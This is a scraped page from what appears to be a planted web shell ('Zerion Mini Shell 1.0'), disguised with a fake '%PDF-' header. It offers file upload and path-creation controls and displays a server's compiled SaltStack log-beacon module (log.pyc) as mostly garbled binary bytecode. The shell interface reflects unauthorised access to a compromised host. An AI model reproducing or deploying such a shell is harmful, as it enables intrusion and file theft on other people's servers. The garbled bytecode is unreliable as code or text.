%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/beacons/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/beacons/log.pyc

�
���^c@@s�dZddlmZmZddlZddlZddlZddlm	Z	yddl
Z
eZWne
k
reZnXdZdZiZded<d	ed
<ded<ded<eje�Zd
�Zd�Zd�Zd�ZdS(uN
Beacon to fire events at specific log messages.

.. versionadded:: 2017.7.0

i(tabsolute_importtunicode_literalsN(tmapulogulog.locuutagunoumatchurawuerrorcC@s!tjjj�rtrtStS(N(tsalttutilstplatformt
is_windowst	HAS_REGEXt__virtualname__tFalse(((s4/usr/lib/python2.7/site-packages/salt/beacons/log.pyt__virtual__&scC@sttkrttSdS(u)
    return the active file location
    N(tLOC_KEYt__context__(((s4/usr/lib/python2.7/site-packages/salt/beacons/log.pyt_get_loc,scC@sUi}tt|j|��t|t�s5tdfSd|krKtdfStdfS(u+
    Validate the beacon configuration
    u,Configuration for log beacon must be a list.ufileu6Configuration for log beacon must contain file option.uValid beacon configuration(tlistRtupdatet
isinstanceR	tTrue(tconfigt_config((s4/usr/lib/python2.7/site-packages/salt/beacons/log.pytvalidate4s

c
C@s�i}tt|j|��g}d|kr_tj�}d|d<d|d<|j|�|Stjjj	|dd��*}t
jtd�}|dkr�|j
dd�|j�t
t<|S|j
dd�|j�t
t<|j
|�|j�}tjd	|�i}x�|jd
i�D]�}d|d
|krBq"nt|d
|d�dkrfq"ny,tjd
j|d
|d��||<Wq"tk
r�}	tj�}||d<d|d<|j|�q"Xq"Wx�|j�D]�}
x�|j�D]�\}}yS|j|
�}|rWtj�}||d<|
|d<d|d<|j|�nWq�tk
r�tj�}||d<d|d<|j|�q�Xq�Wq�WWdQX|S(u~
    Read the log file and return match whole string

    .. code-block:: yaml

        beacons:
            log:
              - file: <path>
              - tags:
                  <tag>:
                    regex: <pattern>

    .. note::

        regex matching is based on the `re`_ module

    .. _re: https://docs.python.org/3.6/library/re.html#regular-expression-syntax
    ufileuglobalutagufile not defined in configuerroruriiutxt %sutagsuregexiu{0}u	bad regexurawuyesumatchu	bad matchN(RRRtSKELtcopytappendRRtfilestfopenRtgetRtseekttelltreadtlogtinfotlentretcompiletformatt	Exceptiont
splitlinestitemstmatch(
RRtretteventtfp_tlocttxttdttagtetlinetregtm((s4/usr/lib/python2.7/site-packages/salt/beacons/log.pytbeaconFsb



,







(t__doc__t
__future__RRtloggingtsalt.utils.filesRtsalt.utils.platformtsalt.ext.six.movesRR!RRtImportErrorR	RRRt	getLoggert__name__RR
R
RR3(((s4/usr/lib/python2.7/site-packages/salt/beacons/log.pyt<module>s,






			

Zerion Mini Shell 1.0